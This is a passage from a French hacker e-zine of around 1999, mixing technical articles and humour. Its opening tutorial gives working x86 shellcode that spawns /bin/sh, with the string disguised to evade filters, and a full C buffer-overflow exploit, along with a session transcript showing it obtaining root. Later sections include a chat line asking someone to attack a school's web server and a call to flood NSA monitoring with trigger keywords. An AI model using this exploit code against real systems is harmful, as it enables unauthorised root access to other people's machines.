"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call -0x24 */
"/bin/sh"; /* .string \"/bin/sh\" */
------------- fin ------------------------------------------------------
Ce programme a 6 minuscules. 5 pour le "/bin/sh" et une dans le "movl %esi,0x8(%esi)"
Comme j'ai dit plus haut on ne peut utiliser "/bin/sh" sinon ca va se faire filtrer. On
peut par exemple insérer "\x2f\x12\x19\x1e\x2f\x23\x18" au lieu de
"\x2f\x62\x69\x6e\x2f\x73\x68" ( "/bin/sh" ). Apres le buffer overflow on rechange le
"\x2f\x12\x19\x1e\x2f\x23\x18" pour le "\x2f\x62\x69\x6e\x2f\x73\x68" pour qu'on puisse
executer un shell.
On peut facilement changer d'un à l'autres en ajoutant "\x50" a chaque membre. Dans le genre
ajouter "\x50" a "\x62","\x69" et ainsi de suite (voir l'exemple plus loin).
Mais la y nous reste notre fameux "movl %esi,0x8(%esi)". Qu'est qu'on pourrait faire avec?
Ben on pourrait le changer pour une instruction qui fait la même chose mais sans lettre
minuscules ! On pourait faire "movl %esi,%eax", "addl $0x8,%eax","movl %eax,0x8(%esi)". C'est
pas la seul solution ya n'a d'autres toutes aussi bonne. Laisser aller votre imagination.
Donc on n'a fini le nouveau code et ca donne ca:
------ nouveau code shell --------------------------------------------------
char codechell[]=
"\xeb\x38" /* jmp 0x38 */
"\x5e" /* popl %esi */
"\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */
"\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */
"\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */
"\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */
"\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */
"\x89\xf0" /* movl %esi,%eax */
"\x83\xc0\x08" /* addl $0x8,%eax */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xc3\xff\xff\xff" /* call -0x3d */
"\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */
/* /bin/sh est déguisé */
------------ fin --------------------------------------------------------
Voila avec ce code vous pouvez coder un exploit a vous! n'est ce pas magnifique.
Vous voulez un exemple d'exploit aussi !Eh bien le voici
----------- exploit -----------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
/* notre code de tantot */
char shellcode[]=
"\xeb\x38" /* jmp 0x38 */
"\x5e" /* popl %esi */
"\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */
"\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */
"\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */
"\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */
"\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */
"\x89\xf0" /* movl %esi,%eax */
"\x83\xc0\x08" /* addl $0x8,%eax */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xc3\xff\xff\xff" /* call -0x3d */
"\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */
/* /bin/sh est déguisé */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i<bsize;i+=4)
{
buff[i+ALIGN]=(addr&0x000000ff);
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]='\0';
printf("Jump to 0x%08x\n",addr);
/* execute le programme vulnerable au buffer overflow */
execl("./prog_vulnerable","prog_vulnerable",buff,0);
}
---------- fin -------------------------------------------------------------
Comment on utiliserait notre exploit sous linux!
[host]$ ls -l prog_vulnerable
-rwxr-xr-x 1 root root 6932 Nov 06 13:20 prog_vulnerable
[host]$ ls -l nom_de_notre_exploit
-rwxr-xr-x 1 alex user 6932 Nov 06 13:20 nom_de_notre_exploit
[host]$ ./nom_de_notre_exploit
Jump to 0xbfffec64
Segmentation fault
[host]$ ./nom_de_notre_exploit 500
Jump to 0xbfffea70
bash# whoami
root /* le but etre root */
Bon c'est fini pour cette article ci, un peu court mais bon manque de temps . Peut-être
d'autres techniques dans un prochain ezine.
.
: ;
: '
; Rew.tbeer :
| :
|_________________________________________________________________________________|
===================================================================================================
Pub-O-sticker
<Dukest4r> lol ok... ya tu qqn qui peut faire un iis sur www.cslaval.qc.ca? pcq la shu
ecoeurer d'le faire de mon modemcable de chez nous pas spoofer lol pi faut j'sacre mon
camp a l'ecole dans 2 min
===================================================================================================
,---------------------------------------------------------------------------------,
| [015] |
| Le syndrome de la belle parrure |
: so called :
; Quand on vous prend pour une Cruche naive. :
, .
.
Amateur de bombes, vous avez du etre dessus de voir que dans
tout ces zines, iGA na jamais au grand jamais fait d'article sur
le sujet. Et pourquoi donc? Et bien la raison en est
excessivement simple, nous nous sousions tellement de nos
lecteurs qu'on ne prefaire pas etre complice des conneries qu'ils
seraient aptes a faires. Bien sur, des plants pour de tels explosifs
existent a profusion sur le net, mais je vous rapelle que ces
plants sont ecris par des personnes qui ont pour but de remplire
un mag au plus crissant. En somme ce que vous y trouver est
spetialement dedier au Dummie. Le gars qui publie ces
renseignement n'a aucune moral, la seule chose qui le preocupe
ces d'arriver a son tirrage du mois avec ses 15 articles pis son
120k de texte. Pitier je m'etonne de pas voir plus de personnes
responsables. Quand on sais pertinament qui a des kids de 12 ans
qui imprime sur des imprimantes au secondaire des copies de Zine
j'aimerais vraiment pas etre celui qui a publier un article qui
a fait en sorte qu'un de ces enfants ait perdu un oeil. Mais apres
tout, ces si facile de jeter la responsabiliter a d'autres en
disant la phrase clef : Ces lui qui la faite, pas moi, j'ai
juste decrit comment la faire.
C'est facille de dire dans l'entete d'un article qu'on se
degage de toute responsabilitee mais ces dur de reflechir sur
ces paroles...
Depuis que les Zines sont Zines:
NPC,QHA,PyroFreak,NeverSee,FrHack,912HQ,TSA,TC
Ont TOUS fait participer a la mise par ecrit de texte sur les Bombes... sauf iGA !
Et pourquoi, car iGA pense a vous!
Jamais au grand jamais nous n'avont voulu blaisser par quelque
facon que ce sois une personne, au risque de perdre les lecteurs
qui sont si assidus a ce genre te texte. Apres tout ont a tous une
vie a vivre et j'aimerais bien la passer en un seul morceau.
Sans doute je ne reinvente pas la roue mais franchement je crois
qui'il est plus que temps que la scene du Hack se detache de
ce genre de texte des plus instables publier par des
irresponsables pour des naifs. Et qui sais meme si la personne
qui consoit cette bombe s'en sort indeme, on ne sais ce qu'elle
fera avec? Le terrorisme est present et si vous
voyer les nouvelles en vous disant, bof 20 morts en argentine,
c'est dramatique mais, Oh cherie ta tu verifier les # de loto ?
Vous ete le parfais type a vous desensibilisez de ces evenements.
Et je m'adresse a tout ceux qui ont ecrit des articles sur les
explosifs dans les Zines nommer plus haut, ainsi qua tout ceux
qui ont fait en sorte que ces zine soit publier sans apporter
leurs desacord, je suis dessus, vraiment dessus de votre
immaturite. Je trouve ca vraiment desolant de voir que des
editeurs de 19-20...24 ans ne peuvent tracer la limite entre
ce qu'ils vehicule et les nouvelle de 6h. Les explosifs sont
imprevisibles, dumoins dans tout les plants proposer par ces
zines, si vous avez un peu de jugement VOUS lecteur, ne laisser
pas votre vie dans les mains de personne qui ne se disent pas
responsables de ce qu'ils expliquent.
Et de grace, cher membres des crew de la scene, ne venez pas
me dire que vous faite cela par Principe ou par idologie
d'un monde ou une anarchie pseudo Structurer regnerais. Ne me dite
pas non plus que vous voulez seulement detruire des choses avec
ces explosifs, car franchement la cause n'est vraiment pas
gratifiante. Deplus, qui sais si la vie d'autres personnes
n'est pas en danger quand vous poser vos explosifs, je doute
vraimant que vous posseder les certifications qui s'impose pour
ce genre de de travail.
Que vous vous fassiez sauter la tronche me desole soit, mais que
vous demontriez si peu d'Ethique envers d'autres personnes me
rend vraiment malade. Si peu de responsabilite face a autrui,
vous manquer serieusement de jugement et d'extoriarisation ne pensez
plus a vous meme et ouvrer vous au monde exterieur, car c'est
dans un contacte humain que vous y trouverer la responsabilite.
Que vous eyez peut d'etre mis a nu par le fisage de l'autre
vous impose d'etre totalement responsable de celui-ci et ce sans
que ce sois reciproque.
Je sais tres bien que meme apres cet article, plusieurs
groupe continurons a publier ce type d'article, que ce soit
par e-zine ou par texte sur leurs web page, mais dites vous
qu'iGA se tiendra loin de cette voie car si la personne qui
ecrit ce type d'article se dit "non responsable de ce qu'il
peut arriver" personne ne devrait
meme penser a publier ou a afficher son texte. Ces articles sont
souvent trop facile et vallent la negligance de celui qui les
a ecrits.
Vous lecteur, prenez garde car c'est dans ce texte que vous verrez
la differance entre un groupe intelligent qui construit, devloppe
et reflechis et d'autes groupes qui se contante de detruire et/ou
profiter d'une petite gloire personelle. Car apres tout, ils auront
choisis le chemin de la facilite dans tout les cas, sans aucun
sousie de votre situation.
Il est facile de se perdre dans la voie de la destruction, mais combien
plus difficile de chercher celle de la construction.
Et pour conclure; JE suis responsable de cette article :
.
: ;
: '
; Qwzykx :
| :
|_________________________________________________________________________________|
===================================================================================================
Pub-O-sticker
IGA 14, bigger, longer & uncut
===================================================================================================
,---------------------------------------------------------------------------------,
| [016] |
| Joyeux nowel |
: so called :
; met ta tuque pour pas pogner la grippe :
, .
.
He non, ce n'est malheureusement pas un article idee cadeau
pour nowel, nous sommes bien trop cheap pour ca, la seul
proposition que je peu vous faire, cest. donnez en pas de maudits
cadeau, sauf a moi bien sur. En fait, il sagit d'un advisorie sur
un nouveau virus. Prilissa de son prenom ( a ton idee de donner de
telle nom a des virus, surement encore le nom de la femme du
programmeur ou quelque chose du genre ). Enfin, bref, passont au
d'etails.
_
/\ / | /\ 9999999
\ |/ \ 999999999
___\_/_____ 99999999999
| | 99/ \99
| o o | 9| o o |9
| o | | | |
| \___/ | \ ___ /
\___ ___/ \_ _/
___| |____ / \
/ | `-' | \ / \
| |J'aime| | / |i'm| \
| | ma | | / / with\ \
| |femme | | / / stupid\ \
| |______| | |<------| |
\ |__|_|_| / \ |_______| /
\| |/ \| |/
| | | \ /
| | | | | |
| | | | | |
| | | | | |
|___|__| |__|_|
|___\___\ /__/__|
< [__2] cest le premier essaie de wyze en askee et le dernier :) >
Prelissa se declanchera le 25 decembre (vous voyiez le lien avec le
titre de l'article ? ) et est par le fait meme appellez virus de
noel (stu pas cute). Le plus amusant c'est que le virus a pour
fonction de formater votre HD, quelle beau cadeau pour la journee
de la naissance du ti jesus, n'est-il pas ?
Comme sont predecesseur sur lequelle il a fortement ete inspirer,
Melissa. Prelissa se propage via Email. Vous pouvez vous en
infecter en utilisant outlook ou outlook expresse ou encore eudora.
Cependant ce dernier ne peu se propager que via outlook et outlook
express. Le virus se propage en s'auto envoyant au 50 premier user
de votre mail liste. Effet pervers, au lieu de genere un .doc bidon
il sinstalle sur le dernier doccument word que vous avez utilisez.
donc certaine information personnelle pourrais se rammasser dans
des millions de boite a male virtuelle ( tordant non? :] ). Le
virus est efficace contre win9X, NT semble sur, mais je ne
metterais pas ma main au feu dans le cas de Win2k.
Prelissa n'a ete decouver que il y a 2 jour (17 novembre), et il
est encore a l'etat embryonaire, il pourrait cependant se
multiplier rapidement d'ici noel, puisqu'il n'y a encore aucun anti
virus contre. Cependant il s'emblerais que quelque anti virus
melissa fonctionnerais contre prelissa, je n'ai malheureusement pas
pu mettre la main sur la liste de c'est anti virus.
Il se presente sous la forme suivante, ou une quelqu'onque variante
"This document is very important and you've GOT to read this!!"
je ne saurais vous conseillez d'etre prudent, apres tout, vous
devez ouvrir le document pour declancher la tourista :]
.
: ;
: '
; Wyzeman :
| :
|_________________________________________________________________________________|
,---------------------------------------------------------------------------------,
| [017] |
| Info pub |
: so called :
; on commence a le savoir :
, .
.
bienvenue encore une fois dans cette rubrique ou il est question de
tout et de rien ( plus souvent rien que dautre chose ). ou vous pouvez
vendre vos cochonerie via notre service de petite annonce, ou encre nous
faire parvenir des text que lon ne saurais ou mettre dautre. Sachez que ce
n'est pas un deshonneur de passer dans les info pub, car si telle etais le
cas, dans le IGA elle ne serait point. Bien souvent un lecteur averti y
trouvera des petits truc et astuce quil naurait pas trouver ailleur. Je
vous rappelles que cette section est ouverte a tous. alors ne vous genez
pas pour menvoyer des text au Cyberwyze@hotmail.com
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
boite Vocal
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
He oui, iga est maintenant rendu avec sa propre boite vocal, vous
pourrez nous rejoindre au 1-888-835-3268 extention #iga666. Vos messages
seront disponible en Wav sur notre site oueb ;
http://iga.fox.qc.ca/stuff.htm
enjoy
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
706 Automobile
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
devinez? Swift noir a vendre, 3 porte ( 2 porte plus coffre du genre
hatchback ) une 4 essayant de se forger dans laile avant droite. manque
souvent dhuile, et muffler quelque peu artisanal. ajout dun catalysateur de
violence, en effet on doit fesser sur le dash en meme temps que l'on tourne
la clef pour le starter. Lien emotif, demande 1000$. 115000km (93).
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
rubrique nimporte quoi
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
Replique en simili-bois franc de la pate de lucien bouchard. n'est
jamais sorti l'hivers on demande 5$
Qwzykx
jeune tortue mecanique A1, tres bonne nageuse, valeur sentimental
on demande 10$ et un peu deau.
Doc-Green
2 tortue a donner, ca pu et cest laid
Polchoix
4 5 vieux poster de pamela anderson, raison de la vente, ma blonde
l'aime pas et est elle est passer date. demande 5$
Wyzeman
jaurais besoin de quek feu (lighter) pcq jen manque tjrs ici.. pas
qqn qui aurais un abonnement a Lighter Inc. pret a payer le gros prix ?
Doc-Green
Cherche une 3-com pas chere pour mon demi frere & cherche un ecran
14 pouce pas chere pour mon serveur. cherche aussi secretaire benevole pour
me rappeller de faire mes cheques a qui jdoit du fric avant que jme fasse
casser les 2 jambes.
Wyzeman
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
Cinema
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
Nul doute n'est, la grosse bombe de l'automne est Fight Club. Ceux
qui l'ont vu on surement compris pourquoi il etais destiner 18 ans et plus
et javous que c'est personnellement un des seul film que je trouve qu'il
merite cette mention. C'est p-e signe que je me fait vieu. mais bon. je
crois sincerement qu'on peu facillement se laisser allez au premier niveau
de se film et en voir la fin comme l'achevement. Je veux dire par la
Anarchie power on fait sauter le capitalisme et du coup meme, on vien de
perdre la vrais signification du film. le 2e degres, ce qui se cache
derriere les images. La description psychologique des personnages et
surtout une vision ironique du monde actuelle. lauteur veux demontrer que
le systeme actuelle manque d'huile et non pas que ce battre avec tout le
monde c'est kewl. alors les ti mox, quand vous allez louer le film en
video essayer de vous souvenir de ca.
Ressuciter les morts: un autre film a sauce psychologique (on
dirait que cest la mode cette annee) cependant il manque un petit quelque
chose qui fait accrocher. je crois sincerement que le realisateur
(scorcesee) aurais completement du flusher l'histoire du film et ne
s'attaquer a la psychologie, il en aurais surement resulter d'un classic
du genre. mais finalement il n'en n'est sortit qu'un film moyen qui
passera vide a la filliere 13 de vos interet.
Celibataire. bon un autre film pour votre blonde. elle risque de
trouver ca cute. Cependant les 2 coter de la medaille sont traiter, et je
dois dire que jai trouver la definition du celibat (etat avant le mariage
quil soit ou non accompagner d'une presence feminine) asser kewl. Allez
profitez en cher ami. galloper tant que vous voudrez.
enjoy
Wyzeman
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
5k qui en dise long
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
Le terrorisme parrait sous toute les forme, le texte suivant trouver sur
www.lemonde.fr vous prouve quil se vie aussi de maniere kewl sur le web sans
blesser personne.
Comment semer la zizanie à Washington, avec un AK-47 et un peu de cocaïne
Mis à jour le samedi 20 novembre 1999
Jacques Isnard
Le professeur Christopher Simpson, de l'American University de New York, pouvait-il
se douter que la National Security Agency (NSA), la plus grande agence de
renseignement des Etats-Unis, s'irriterait de ses propos révélant quelques-uns des
mots-clés grâce auxquels le réseau d'espionnage Echelon écoute la planète entière ?
Ses indiscrétions, en tout cas, ont eu de redoutables effets, qui expliquent la
colère des responsables de la NSA, une agence fédérale que dirige le général
Michaël Haydon depuis Fort George Meade, dans le Maryland, et qui emploie 38000
personnes à travers le monde, aux Etats-Unis, bien sûr, mais aussi au Canada, au
Royaume-Uni, en Australie et en Nouvelle-Zélande, pour s'en tenir aux sites
principaux.
Selon un spécialiste de l'espionnage, Jacques Baud, la NSA contrôle une vraie
« multinationale » du renseignement, baptisée Echelon, « qui a fait éclater la
notion traditionnelle d'écoutes téléphoniques » . Ce réseau peut intercepter
l'ensemble des transmissions et transferts de données (fax, e-mail, telex,
téléphone) qui transitent par le moyen des satellites de communication dans le
monde et dont le contenu est conservé sous forme de bibliothèques informatiques.
Une cinquantaine de puissants ordinateurs, du type Super-Cray, traitent et
analysent en temps utile les informations ainsi recueillies, en se servant d'un
dictionnaire, distribué aux agents d'exploitation dans les stations, qui contient
des mots-clés permettant à un logiciel spécial, dénommé Oratory, d'aller repérer
automatiquement le message intéressant dans la galaxie des communications
interceptées.
Echelon ramène, dit-on, chaque demi-journée, l'équivalent en information de toute
la bibliothèque du Congrès américain, soit 1 000 milliards de bits. Les mots-clés,
une fois identifiés, servent à sélectionner dans les messages l'informatio n de
nature diplomatique, économique, militaire ou autre, voire privée, qui est c ensée
intéresser le gouvernement fédéral. Le professeur Simpson a livré quelques-uns de
ces mots-clés. « AK-47 » (l'autre nom du fusil d'assaut Kalachnikov), « Cocaïne » ,
« Stinger » (du nom du missile antiaérien portable), « TWA 800 » (l'identification
du vol du Boeing qui a explosé au-dessus de l'Atlantique en 1996), « Militia »,
« Davidian » (le surnom de la secte de Waco en 1993) ou « Vince Foster » (un ami de
Bill Clinton travaillant à la Maison Blanche qui s'est donné la mort en 1993)
constituent autant de mots-clés qui permettent aux ordinateurs de la NSA de gagner
du temps, dès qu'ils sont détectés dans la traque des messages qui auraient un
rapport, par exemple, avec le commerce des armes, le trafic de la drogue, des actes
de terrorisme ou avec de mystérieux « proches » de M. Clinton.
Depuis, et c'est ce qui explique la colère de la NSA, ces mots-clés sont repris par
des services secrets étrangers, des chancelleries ou par des particuliers
« internautes » qui en émaillent systématiquement leurs communications ou leurs
conversations. Avec cet espoir jubilatoire de saturer les ordinateurs de la
NSA, de prendre à son propre piège tout le réseau américain d'espionnage et de
perturber, en les noyant sous les messages à décrypter, le travail des analystes
attachés à Echelon. Plus qu'un jeu, sans doute, c'est un moyen utilisé pour
déclencher inutilement l'interception, le tri et l'exploitation du renseignement
ainsi réuni. Nul ne doute que la NSA cherche déjà à inventer la parade à cette
« cyberwar ».
he, faite comme nous participer a cette "warfare" et aider la communauter a saturer
les ordis de la NSA :]
enjoy
Wyzeman
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
La melodie du haxor
so called
des toillettes silencieuse
ca coute chere en cristie
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
Bon, si tu veux etre un vrai trou du cul de hacker, il va te falloir Linux.
La, tu as 2 solutions:
o Tu es un sale bourgeois capitaliste et tu l'achetes 150 balles a la Fnac
o Tu es un vrai trou du cul, et la tu le download par le Net
Evidemment, tu es un vrai trou du cul donc tu ouvres ton tit client FTP et tu
te tapes tranquillement les 20 ou 25 heures de download pour une Slack ou une
Debian. Evite la Red Hat, ca fait trop grand public, toi t'es une mec
uNdERgrOuNd maintenant, c'est normal, t'es hacker. Bon, tu as ton Linux,
maintenant c'est bon oublie le. Pas le peine de se casser le cul a apprendre
un nouvel OS dont tu ne te servira jamais parce que XWing vs Tie Fighter
tourne pas dessus. La meilleur solution consiste carrement a niquer lilo,
comme ca tu es sur que tu ne booteras que sous Windows95. C'est un solution
élégante que de nombreux trous du cul semblent avoir choisi. Pour ca, ouvres
un session DOS par Windows et tape fdisk /mbr. Ca va effacer lilo qui etait
installé sur le MBR de ton disque dur, comme ca tu n'auras plus a te soucier
de Linux. L'essentiel est de l'avoir, pas de savoir s'en servir. "Ouais mais
comment je peux prouver au gens que j'ai Linux et passer pour un gros rebel ?"
C'est une question bien naturelle. J'ai pensé a toi petit looser et voici une
serie de phrase qu'il faut balancer a propos de Linux, aussi bien sur IRC que
dans la vrai vie :
- "Linux c'est trop puissant, t'es completement libre par rapport a ces OS de
fachos genre Windaube. De toute facon, MS c'est trop ripou."
- "Bah si t'es un debutant, va pas sous Linux, c'est fait pour les eLiTeS ce
truc, toi reste sous winfuck."
- "Dis, tu sais pas ou je pourrais trouver la libc5.4.36 ? Parce que chez moi
la 5.4.35 est incompatible avec les modifs que j'ai fait au kernel."
- "Ca pue netscape, moi ca me dumpe des core de 10megas des que le lance, je
prefere Lynx au moins c'est pas prise de gueule c'est mieux le mode texte."
- "Ralala le bouffon que c'est lui ! Il s'est installé un Red Hat !! Tain
c'est de la daube les Red Hat c'est nul y'a que la Debian qui est bien, au
moins tu sais ce que tu fais t'es le master de ton system nan vraiment c'est
ripou Red Hat."
Avec ce genre de petites phrases, tu te retrouveras tres vite classé dans la
categorie "OK c'est un trou du cul, mais un trou du cul sous Linux", ce qui
est la premiere étape pour etre un vrai hacker. Maintenant que tout le monde
sait que tu as ton Linux, il faut passer au stade suivant, celui du pro des
reseaux, genre le mec qui maitrise ICMP a mort. C'est la deuxieme étape de
ton long periple.
Je ne suis qu'un assoiffé de connaissance.
Ici, il faut mettre la main au porte-monnaie. Direction la FNAC, tu achetes
n'importe quel bouquins sur Unix et sur les reseaux. L'essentiel est que le
titre soit compliqué. Un petit "Protocole rlogin sur reseau Ethernet en
sous-adressage" sera du meilleur effet. N'hesite pas, des que tu ne comprends
meme pas le titre,il faut acheter le bouquin, c'est pas pour lire, c'est pour
impressionner des autres potes trous du cul. Une bonne methode consiste a
acheter un bouquin genre "TCP/IP volume 43" et de prendre des mots au hasard
a apprendre par coeur : raw socket, sur-adressage, FDDI, telnet par exemple.
Ensuite, tu les resors dans une phrase, meme hors contexte c'est pas grave
personne n'ira verifier ce que ca veut dire. Par exemple il ne faut pas
hesiter a balancer un "Le Telnet, ca prends combien de raw sockets en
sur-adressage sur un FDDI" sur un bon gros channel de cowboyz, ca impresionne
toujours, et personne n'ira te dire que ca n'a aucun sens ne t'inquiete pas.
Dispose ensuite ces bouquins dans ta chambre, avec les titres les plus
compliqués aux endroit les plus visibles. Corne quelques pages pour faire
plus vrai. Prends aussi quelques feuilles et dessine des schema bidon de
reseau, ou met des trucs genre 123.44.5.34 root/lydia pour faire croire que
tu te choppes de password comme un ouf. Faut se la jouer a mort, ne jamais
hesiter a en rajouter, scanne toi une photo de mitnick et accroche la au
dessus de ton lit, ou met des autocollants a tete de mort sur ton UC pour
bien dire que maintenant, t'es un voyou, un mec dangereux. Pour completer le
tout et vraiment passer pour un hacker, il ne faut pas hesiter a dire des
conneries du genre "Je ne suis qu'un assoifée de connaissance". OK, tu
quadruple ta seconde, mais bon c'est pas grave, tu aimes quand meme apprendre,
c'est ta grande passion et tu as beaucoup de volonté. Precise bien que jamais
tu ne causes de degats aux tres nombreuses machines que tu penetres, dis que
tu fais juste ca "pour le challenge intellectuel". Oui, la, il faudra te
forcer pour ne pas exploser de rire, mais entraine toi devant ta glace avant.
La communauté des hackers a 1 piace.
Quand on est un mec dangereux comme toi, on doit se réunir avec d'autres
bandits pourmettre en peril la sureté de l'Etat. Pour ca il existe LE rendez
vous de toute la racaille, c'est le Meet 2600. Tous les mois, tu iras dans un
MacDo de Québec, Place d'Iyouville, et la tu rencontrera des grands monsieurs,
des mecs qui ont rebooté tout Internet avec un prog en Visual Basic et qui
ont des coupes de cheveux de rebels de la société. Bon, tu n'y apprendras pas
grand chose, les loosers qui viennent la bas se branlent entre eux en se
disant "Ouais, on est des hAcKeRz, on est sans pitié, on est des vrais durs,
oh zut il est deja 18 heures faut que je rentre ma mere va me cogner sinon".
Tu pourras quand meme avoir un vrai frisson en t'imaginant que le MacDo et
truffé de cameras et de micro, et que tous les employés sont des agents de la
GRC qui ecoutent des conversation aussi dangereuses que :
Trouduku1 : il est a combien le Whooper ?
Trouduku2 : euh MacDo fait des Whoopers maintenant ?
Trouduku1 : bah ouais ils en ont toujours fait nan ?
La communauté des hAcKeRz aime bien aussi les raves. Ca fait partie du trip
"rebel no future fuck da society, on gobe des extas on ecoute de la musique
de daube mais on s'en fout c'est super parce que c'est interdit ". N'hesite
pas a te rendre la bas, ca fait incontestablement partie de la culture du
paumé que d'aller jouer les chauds dans ces soirées.
Putain je suis dans les greets de Hack-Hebdo !! trop foooort !!
Toi, t'es un vrai trou du cul qui hacke, et tu entends bien repandre ton
savoir pour former d'autres minables comme toi. Pour ca, il existe les e-zine.
On peut citer les plus connus comme NoWay ou NoRoute ou le pire cotoye le
meilleur (et c'est dommage pour le meilleur...) mais aussi des vrais merdes
qui meriteraient d'etre plus connues, comme l'excellent Core-Dump qui est une
veritable farandole de guignolos expliquant des truc archi connu dans un
francais que mon chat comprends mieux que moi. Evidemment, tu n'as pas lu les
bouquins sur Unix, tu n'as jamais hacké la moindre machine de ta vie donc tu
ne sais pas quoi ecrire. Rassure toi, tu n'es pas le seul dans ce cas. La
meilleure methode est de pondre un article sur le rap, a raconter sa derniere
rave ou a pomper Phrack sans rien comprendre. La encore, si tu pompes Phrack,
n'hesite pas a carrement corriger le mec ou a rajouter des trucs pour faire
plus compliqué, personne n'ira verifier, donc vas y lache toi t'es un
assoiffé de connaissance, oublie pas.
OUAIS ! Je suis un hacker, un delinquant du telnet
Maintenant, c'est clair, tu es un vrai hacker, une racaille de l'IRC, un
loubard d'Internet, tu fais peur a toutes les agences gouvernementales et IBM
veut t'embaucher pour securiser leur reseau parce que cette pedale d'Henri
leur a encore collé un virus d'Internet. Il va donc falloir, au quotidien, se
comporter comme un hacker, un vrai, un dur, c'est a dire avec un esprit
hacker et un langage de hacker.Un hacker, ca vit avant tout sur IRC. Une fois
que tes amis et ta famille auront bien vu que tu as changé, que tu n'es plus
le meme homme, il va falloir repandre aussi la nouvelle sur IRC et te faire
des nouveaux amis qui seront comme toi des trous du cul.Fini les #coquelicots
ou les #amitié_fr, maintenant tu devras aller dans les bas fond de l'IRC, le
cyber-Bronx, nuke-city, la ou seuls les vrais cogneurs reussissent a se faire
une place dans cette univers de violence. Pour ca, tu va devoir passer du
stade hacker trou du cul a celui de trou du cul sur IRC qui se la pete
mitnick, a savoir le c0wb0y.
[-\\'KinZone'//-]
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
Tuer n'est pas jouer
so called
ce mois si dans joystick
